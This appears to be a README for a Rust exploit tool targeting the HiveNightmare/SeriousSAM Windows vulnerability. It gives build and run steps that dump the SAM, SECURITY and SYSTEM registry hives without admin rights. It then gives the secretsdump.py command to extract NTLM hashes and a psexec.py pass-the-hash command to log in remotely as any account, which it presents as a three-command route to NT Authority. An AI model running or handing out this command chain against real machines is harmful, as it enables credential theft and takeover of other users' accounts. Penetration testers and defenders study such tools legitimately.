Oxide Hive

An exploit for the HiveNightmare/SeriousSAM vulnerability that allows you to read registry hives containing sensitive data without admin privileges. If that doesn't sound like privilege escalation I don't know what does.

Usage

After building the exploit with cargo build and retrieving the binary, deploy it in your testing environment, open CMD and do .\oxide_hive [max shadow copies], the default for shadow copies is 15. The hives SAM, SECURITY and SYSTEM should be dumped to the working directory

From then on you can use this script with the command secretsdump.py -sam SAM.dump -security SECURITY.dump -system SYSTEM.dump local to retrieve the NTLM hashes. Then you can use another script with the command psexec.py -hashes <account's hash> <user>@<machine's ip> cmd.exe to remotely log into any account. Congrats, you just went from unprivileged user to NT Authority with only 3 commands.

Credits

• @jonasLyk, the person who discovered the vulnerability
• @GossiTheDog, the creator of the original exploit which I took inspiration from